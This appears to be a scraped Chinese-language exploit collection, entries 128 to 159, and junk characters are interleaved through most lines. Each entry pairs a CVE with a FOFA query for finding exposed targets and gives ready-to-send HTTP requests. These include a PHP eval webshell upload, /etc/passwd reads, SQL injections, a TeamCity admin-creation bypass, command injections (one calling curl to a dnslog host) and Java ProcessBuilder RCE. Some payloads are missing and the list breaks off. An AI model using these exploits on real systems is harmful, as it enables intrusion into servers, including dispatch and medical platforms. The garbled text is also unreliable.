+ M. D2 @( ]+ A' L9 ~" p4 e128. Adobe ColdFusion 反序列化
CVE-2023-38203
0 G2 i  ]: D: I2 m" TAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
0 o4 i& _" G1 y9 s2 t; ^) j6 g7 DFOFA：app="Adobe-ColdFusion"
PAYLOAD
$ P& _2 W* C4 M3 K2 ~
129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
1 k# M/ X& Y. ?( Z/ EFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
+ I+ G" T8 D$ I3 e4 `( p第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
% B) O) c6 S7 F, R" B. }2 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
/ h8 p+ w+ u# WConnection: close

" y3 ]- L5 L1 k' e5 Q& @& d
( i1 l  M, N; v8 t8 F# |第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
) Q( C  o2 f4 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; N2 ?( X# l: f/ v- F8 KAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
6 L! G/ I5 {. z# ?. m, T  i) t- Duuid: 85f60018-a654-4410-a783-f81cbd5000b9

% X; J# h# N: w6 W( {: D1 z0 `, M
5 d! n; N) i7 D; o" {130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
2 g! V0 Y+ ?% zPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
# j' D8 x: b, w; I- ]Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
1 J  g$ f2 ]4 LContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
1 _) I& T  O; D8 v7 w' Q% Z7 MAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
+ M5 d3 k9 \, u$ b$ a0 f* d  h
- p' }, R3 i! ]7 K1 z: E* k# Y------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
& C. T# y1 K& S3 ]: s4 A% U" O+ A
5 [1 Q$ X2 z9 I/ R. q<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

& W( U9 Y% d( }! `, V. D! T/ s- E
1 A, E$ M5 v9 P; L2 H' ^* B+ ^131. Mini-Tmall <=20231017 SQL注入
% |+ X% ^& B6 I" ~' \1 k5 `2 RFOFA：icon_hash="-2087517259"
) {. l) _8 l( C9 h0 b2 K9 l5 p3 X, O后台地址：http://localhost:8080/tmall/admin
# T0 z% ~9 C' _; mhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
* }1 e. L# r7 ?
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
. e$ ~9 b9 e/ w0 S( O. PFOFA：body="Log in to TeamCity"
. E3 z' j  A3 W' S" K* ?% ePOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
3 q# O6 r5 W5 K% |+ r  PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 Q9 M0 R; v" o. l, x" j, LAccept: */*
% s( g# H3 @! ^7 e4 ?+ y9 P; qContent-Type: application/json
2 Q- B( q; d  L5 G- SAccept-Encoding: gzip, deflate
# b# \, \3 g3 d# m; R8 T, a$ L( u2 M4 `
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
% _5 ~3 b1 j; S

2 u' Y6 f7 q1 d: o+ QCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
( Q( w! \! Y) E: S

CVE-2024-27198-RCE.py

+ o3 T2 N* E" |3 p- |) @* }0 X133. H5 云商城 file.php 文件上传
8 S0 T% f: M0 X3 U- rFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
$ m$ k0 Q3 r( z* U; g/ u( q3 B# w0 DHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
5 X+ }0 D7 h. V2 D0 p, F! M' }Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

+ m2 ^. }, A; C; d. c------WebKitFormBoundaryFQqYtrIWb8iBxUCx
4 y% o; j8 k' {Content-Disposition: form-data; name="file"; filename="rce.php"
- p. h& Q4 o$ j7 u8 ?, c5 D- f- uContent-Type: application/octet-stream

4 F' V& R4 E/ n$ _6 q0 K. `<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
  ~+ P$ H/ f; L! l% Q
  A4 Y* }' a2 U
1 f. {! s0 @" I6 J: m
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
8 o$ ~9 @, j. x  J. ?; O& qNetentsec NS-ASG Application Security Gateway 6.3版本
; b0 X) D4 l. d& A% ^6 GFOFA：app="网康科技-NS-ASG安全网关"
! ^% Z8 f' [8 R) }# M* KPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
( F, N. }, h; M) f+ @/ yCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  {: N/ T; A& M' CAccept-Encoding: gzip, deflate
. N2 d) d$ ~8 fSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
3 d+ f* V. x/ C# e2 a. sSec-Fetch-Site: same-origin
Te: trailers
/ `1 t+ a" r1 W0 |Connection: close
, _) I8 K/ ]6 w5 `/ n' B  }Content-Type: application/x-www-form-urlencoded
! @( B, m( d- A. \& F$ J3 }! tContent-Length: 263
- S; `7 f$ u! e: @8 P" Q$ e
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
( ^' j7 ?+ N: P' `. b

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
. L8 u, B" G# lCVE-2024-2022
( \' D! |7 |" S* k$ m7 INetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
9 C- w9 c, X. Z: ?7 F2 D4 bGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
1 x: x; Y; z2 ]# h. `Host: x.x.x.x
6 F* m' o- d9 Y. W, aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ L0 v) W' I# N8 sAccept-Language: zh-CN,zh;q=0.9
$ W* O% m; L/ w8 d& a5 V8 f) @Connection: close
* _  q# J/ h% v* P

" r9 E* K  C( W; F6 n136. NextChat cors SSRF
CVE-2023-49785
6 X# D3 V/ d  AFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
' m$ r0 Y% H+ c2 k. c0 V9 DUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
5 X1 l& I: o! Y1 y% _Accept: */*
Accept-Language: en
' g! p5 H" i: D3 K. ^Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
1 z& t" s* m, {) l: M4 l" f( P4 PFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
0 {2 w! u2 Y! _$ ~GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ o* ]* n5 j3 S4 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 b8 u4 r$ ^% MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ Q  A& x5 y5 W7 l2 m9 KAccept-Encoding: gzip, deflate, br
! k6 f& g8 n; x: B1 G# W4 w1 e# W1 OConnection: close
, Z: O$ _: G8 m$ d  c; w) ]- e! x. N, b2 qCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
- o6 k1 N- Y5 \8 S# j1 lUpgrade-Insecure-Requests: 1

% \+ X0 A( P! G: m1 l  g. U
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) f  t2 Q% @9 e2 v" DGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
1 n3 K/ c; y7 e& sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 H- b+ t. I; E2 \+ V: X) nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! B+ I" c# U! J3 u  e. N6 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% b; z5 \  n& o  r2 L+ _3 V) {, yAccept-Encoding: gzip, deflate, br
: h, B/ P) j. [) l; d7 kConnection: close
Upgrade-Insecure-Requests: 1
' q- H4 t0 O7 N) Q
8 T. P7 H; \& E# h- k
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
6 U- C% _/ `+ R: N4 P3 q8 zCVE-2024-2622
; F! D8 n9 N; uFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
+ i2 e- V4 [. @6 ~) X  b) tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; ~7 F) K; Y) m# N8 @/ YAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


7 ~  p6 H9 R5 X3 p/ X8 ?% D140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
7 p0 V: `0 A" s8 N$ J5 `CVE-2024-2566
, ]- \0 ?" E" W  |7 cFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
* ]( D& [2 P5 J& A  z' pHost: x.x.x.x
% ?( v! ^( `% s/ U- q3 B$ MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ u0 G7 {; f' N+ m- w! zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ U. a+ Y- [8 R# ^5 v0 TAccept-Encoding: gzip, deflate, br
Connection: close
, a# @8 m0 R# a+ v# iCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
5 i/ g) R; X( E- R$ {' X3 u

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
3 g+ b$ a" F+ R$ f0 ^1 Q: `. UHost: your-ip
& h6 b9 d# `8 t- CUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
# Q( h5 i' k  n+ n% ^Content-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
3 C- `8 Q. B4 kCVE-2024-29666
7 {- J1 t% Z$ NFOFA：body="/808gps/"
9 k# p% N+ A& A5 }3 P0 p# B+ Dadmin/admin
* ?5 T; z; _/ t+ Z; ?7 ~143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
! R6 A' k" f/ dFOFA：title='AP setup' && header='netis'
/ P0 h+ M9 e/ ~  h# R/ `2 HPAYLOAD

8 a0 T6 h7 |# a144. D-Link nas_sharing.cgi 命令注入
+ B1 f1 W! ], ~- D2 w8 c. H+ }FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
8 `7 q+ Q% P. \0 fUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
. i' d; F! f5 M' D$ FConnection: close
& w7 ]/ n! p9 P/ O1 s6 d. @Accept: */*
: H+ H% p) V5 I8 V" X% {* ~- }  OAccept-Language: en
, Q! v) [$ s( yAccept-Encoding: gzip
# z! v9 z5 H+ }' N$ R. j6 E

3 p6 P1 l, ~5 r: u/ B145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
+ i" N/ s8 F2 J+ U- `& O5 nFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
1 {2 {+ s+ b7 b/ I; pHost: 192.168.30.112:1005
. s$ h; Q& W. o! U) zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
- ]0 S# d7 f0 P( [Connection: close
+ y0 U4 r/ i0 A0 ]' A) yCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
! p3 w' p) X" Y+ a  a

146. MajorDoMo thumb.php 未授权远程代码执行
0 T$ `9 \. F! s5 x$ E  ACNVD-2024-02175
FOFA：app="MajordomoSL"
1 Y! b. d* C0 X% r4 Y, G2 tGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
7 F$ [$ S0 B% X6 [1 y0 UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
6 a: g7 z7 y' l- p% f, z$ W0 rAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
& [) U  b7 a: \5 ?Connection: close
( j% `# V6 @2 F- z0 A8 l" }

- b7 t0 I. H; N6 h! c8 p147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
: ^7 F7 o5 @2 Z5 j! e6 h! Z# EHost: 127.0.0.1:81
% ?9 s2 Y8 @% m6 f  h- [Cache-Control: max-age=0
Connection: close


148. CrushFTP 认证绕过模板注入
CVE-2024-4040
  H% r. W$ k, {& d8 E; UFOFA：body="CrushFTP"
PAYLOAD

( M$ k) J4 A& H% U3 `; k149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

/ }( z. v  d" J) [4 cPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 Z2 s" B+ X4 I8 a, vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 h# [; I$ V: `% @1 R* }7 t4 aAccept-Encoding: gzip, deflate, br
% e! y0 |0 A, o, x8 m5 E# K" [Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

# a; \" I* }9 c6 d) j{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

- U$ w) U% _* }- U150. AJ-Report 1.4.0 认证绕过与远程代码执行
$ N: j2 \* b: Y0 t& l# n( TFOFA：title="AJ-Report"
. }: _7 V( {4 VPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
1 n! L4 ^+ v% n. f+ E* A5 K# AHost: x.x.x.x
) W2 H4 B; F/ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ t* [! c. G6 r' A+ d6 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  q- K( O( `5 C3 }5 ?! TAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
& ?) k/ H) m2 uConnection: close
3 d( b- X0 i* f0 |Content-Length: 339

5 E" X+ ~5 l+ |# t* Q5 j# `) {{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
/ R4 Z2 G* c) ]) U* Q! U

; j0 W* c) B, L( Q1 {151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
! y. r+ M* n) _# {4 dGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
" l' ]; V( e( L1 @6 T# FHost: x.x.x.x
9 q6 [% b: n" G, v  D. `+ IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  @1 b/ Z3 X, t6 gConnection: close
9 @) w: V# Y: S. \  jAccept-Encoding: gzip

* r. G/ ?6 K: M9 ]$ [8 W
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
( n* j/ s3 T) j* c$ L0 h8 x1 ]LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
$ ?2 |7 t/ r" _7 q( }3 j" WLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
( i, |& W5 E% V; g2 jGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
2 q4 V; D  K7 [9 j+ t1 p/ I; V& m8 cConnection: close
6 l; ?6 ]: p4 J( D( q8 F$ fAccept: */*
Accept-Language: en
7 B$ W& N. y+ b* @Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
; D% @9 n8 M* TAccept-Encoding: gzip


& f8 z$ g( o7 w! J4 H2 R( E153. gradio任意文件读取
" l: K* s/ ]9 N8 W6 V3 wCVE-2024-1561FOFA：body="__gradio_mode__"
4 m. K2 E( X; R, O* V$ M3 @0 C第一步，请求/config文件获取componets的id
http://x.x.x.x/config
  f" ?4 h0 P) R! X" t* c9 `
6 D3 C4 [9 P2 L- i5 I1 b* Y
. L& \" D4 u7 n& s4 P4 U第二步，将/etc/passwd的内容写入到一个临时文件
; ~: V/ L2 i( R& T; N; cPOST /component_server HTTP/1.1
Host: x.x.x.x
8 x5 S3 m0 h: _0 sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
( e3 y3 G8 b/ j9 h4 QContent-Type: application/json
Accept-Encoding: gzip
; a9 `! ~$ m/ f9 r: i0 j
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


" w, z: x) V9 B/ m6 u4 M第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
4 W3 {& X  Y& b/ w/ |6 e# B/ y

154. 天维尔消防救援作战调度平台 SQL注入
& s0 O- w$ v$ Q' RCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
5 x  X9 H8 g( D' A# mContent-Length: 106
8 |1 m) @- i* F5 `& SCache-Control: max-age=0
3 f, n5 Y7 @* n6 o/ ?Upgrade-Insecure-Requests: 1
( `2 L" O) ^- {3 v, q3 QOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
2 j9 r: e* N9 g& ]Connection: close
6 n% Y$ [. M( ~5 R  G7 u
2 n; X4 |$ n2 R: q# o{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

2 n) S8 ~1 i% E# y, ?4 N5 ]
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
, z, P: F+ \6 J' |8 \; mFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
# k# l1 ]+ e2 i/ T1 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 i' U. t7 B1 a, @/ A8 P  RConnection: close
Content-Length: 232
8 R: l1 G+ ^* Y3 v% I' XAccept: application/json, text/javascript, */*; q=0.01
% E% V$ _0 Y( Q1 ?Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  P( f' X3 \: C6 RContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
  f2 U' ^/ S$ [X-Requested-With: XMLHttpRequest

" Z! e5 B$ p* H; d5 O; \-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
8 ?1 R" u9 D2 b+ l  FContent-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
! K* I4 I: j& V- l8 Y; s* ^3 z1 f-----------------------------qttl7vemrsold314zg0f--

' h7 H" U0 Q; c9 C$ p' _
4 {8 T' @- D" u4 J7 O访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

4 ]% Q$ O0 u8 f156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
; I1 f6 a9 w" Y% k4 [: jFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
; k$ J  C8 E2 z  K  _. L. _curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
# _9 {% ]$ @% JHost: x.x.x.x
7 ~/ H+ A# U' nUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
6 ]' L( h" p: N3 ~  zCookie: uid=1
Accept-Encoding: gzip
" w: `/ u6 k  F. C

157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
1 @* [9 u- z: ~+ k4 g! J+ QHost: x.x.x.x
+ r: I+ q0 m* m4 p- TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
2 u+ C- h# x  n% G7 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: Y2 j( s4 f9 Q* G* ]6 nAccept-Language: zh-CN,zh;q=0.9
" J- d6 X0 R: e5 m9 T. s8 u9 E0 Y# @$ iCache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
7 `* |% A% J* s" o/ n& FContent-Type: application/octet-stream

! d" M  h: K) Enyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
2 \8 o3 i- ?6 O! B  _$ w8 iContent-Disposition: form-data; name="key"

null
, s% U  j* p, r4 M, s------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

  r( y2 ~4 r- Ynull
, w3 [& ?7 [# y0 u" ~------WebKitFormBoundary1imovELzPsfzp5dN
! j% M, b* s/ TContent-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
+ Q0 L: O* E5 R2 Z  ?& RContent-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
* R4 C4 J7 e. y9 y5 N2 Q1 B
null
! }/ }/ F* R( z! z" t; y$ B------WebKitFormBoundary1imovELzPsfzp5dN--
. r* k* V8 h9 M  q1 r
4 V3 x7 Q* v! N" ^# X& r5 d
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
0 c) C, P8 E' @! rCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
& n" v1 M7 [: J' pHost: {{Hostname}}
: l8 O. c" t6 M) D7 g  H( NContent-Type: application/x-www-form-urlencoded
# ]$ I/ o) _% x: S( }2 l6 t& o, P
9 I6 Z- w- x  |! Xobject=displayregion&contenthistid=x\'&previewid=1


# o7 B& O1 O' d; j! a) B8 T159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
. z$ W$ x7 p# q1 ZFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
